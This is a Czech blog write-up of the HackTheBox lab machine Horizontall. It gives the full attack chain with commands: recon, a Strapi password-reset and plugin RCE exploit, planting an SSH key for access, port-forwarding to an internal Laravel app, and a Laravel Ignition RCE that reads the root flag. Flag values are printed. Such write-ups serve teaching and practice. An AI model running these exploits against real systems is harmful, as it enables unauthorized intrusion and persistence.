tom@home.htb:~$

Blog o HTB

4 December 2020

Horizontall

Úvod a kontext

Horizontall je dvoukrokový webový řetězec rozdělený mezi dva různé frameworky. Veřejný vhost api-prod.horizontall.htb běží na Strapi a dává první shell přes známou zranitelnost v resetu hesla a instalaci pluginů. Root ale neleží ve Strapi, nýbrž v interním Laravelu dostupném jen na 127.0.0.1:8000.

To je na tom stroji nejzajímavější: první exploit sice otevře SSH foothold, ale po něm je potřeba přepnout myšlení a hledat, co ještě běží jen lokálně. netstat ukáže skrytou službu na 8000 a až SSH port-forward odkryje druhou aplikaci, která vede k rootu.

Počáteční průzkum

Veřejný web a vedlejší API vhost

Na první pohled jsou otevřené jen SSH a nginx. Přesně v takové situaci má smysl hledat další hostname. wfuzz rychle odhalí api-prod.horizontall.htb, který je podstatně zajímavější než hlavní marketingová stránka.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
wfuzz -H "Host: FUZZ.horizontall.htb" -w SecLists/Discovery/DNS/subdomains-top1million-110000.txt --sc 200 http://10.10.11.105
./dirsearch/dirsearch.py -u http://$IP -e php -x 403 -r
22/tcp    open  ssh   OpenSSH 7.6p1 Ubuntu 4ubuntu0.5
80/tcp    open  http  nginx 1.14.0 (Ubuntu)

=> api-prod.horizontall.htb
=> http://api-prod.horizontall.htb/admin/

Identifikace Strapi

Jakmile je známý API vhost a /admin, první otázka zní, na čem běží. whatweb ukáže Strapi, což je důležité, protože pro starší verze existuje veřejně známá a dobře reprodukovatelná cesta k RCE.

whatweb -v http://api-prod.horizontall.htb
=> Strapi <strapi.io> (from x-powered-by string)

Analýza zjištění

Zneužití Strapi přes reset hesla a instalaci pluginu

Použitý exploit proti Strapi kombinuje slabou validaci v resetu hesla s mechanikou instalace pluginů. Výsledek je blind RCE, takže je rozumnější nepokoušet se o jednorázový reverzní shell, ale rovnou si zapsat vlastní SSH klíč do authorized_keys.

python3 Strapi.py http://api-prod.horizontall.htb
mkdir -p ~/.ssh && chmod 700 ~/.ssh && touch ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys && echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC..." >> ~/.ssh/authorized_keys

Získání přístupu

SSH jako strapi

Blind RCE slouží jen jako bootstrap. Jakmile je klíč zapsaný, nejčistší další krok je SSH na účet strapi. To otevře stabilní shell a dovolí číst lokální sockety a interní porty, které zvenku vidět nejsou.

ssh strapi@horizontall.htb
bash

cat /home/developer/user.txt
f6da5b3556062cbd5233fda6c7298960

Co prozradí netstat

Lokální enumerace tady není obecná fráze, ale konkrétní rozhodovací bod. netstat -natp ukáže procesy poslouchající jen na loopbacku, hlavně 127.0.0.1:8000. To je silná indicie, že po veřejném Strapi běží na stroji ještě druhá webová aplikace, tentokrát neveřejná.

netstat -natp
tcp  0  0 127.0.0.1:1337  0.0.0.0:*  LISTEN  1896/node /usr/bin/
tcp  0  0 127.0.0.1:8000  0.0.0.0:*  LISTEN  -
tcp  0  0 127.0.0.1:3306  0.0.0.0:*  LISTEN  -

Proto následuje port-forward a identifikace interního Laravelu:

ssh strapi@horizontall.htb -L 8000:127.0.0.1:8000
=> Laravel

Eskalace oprávnění

Laravel Ignition na lokálním portu

Jakmile je interní port přesměrovaný, má smysl hledat veřejný exploit pro daný framework. searchsploit ukáže 49424.py, tedy známou RCE cestu přes Laravel Ignition. Protože je aplikace dostupná jen lokálně, bez port-forwardu by tato část vůbec nepřicházela v úvahu.

searchsploit laravel
searchsploit -p 49424

python3 /usr/share/exploitdb/exploits/php/webapps/49424.py http://127.0.0.1:8000 /home/developer/myproject/storage/logs/laravel.log "cat /root/root.txt"
=> a5f1e4afb7ee38f979bc33f22bb4e057

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: linux - ssh - php - exploit - enumeration - privesc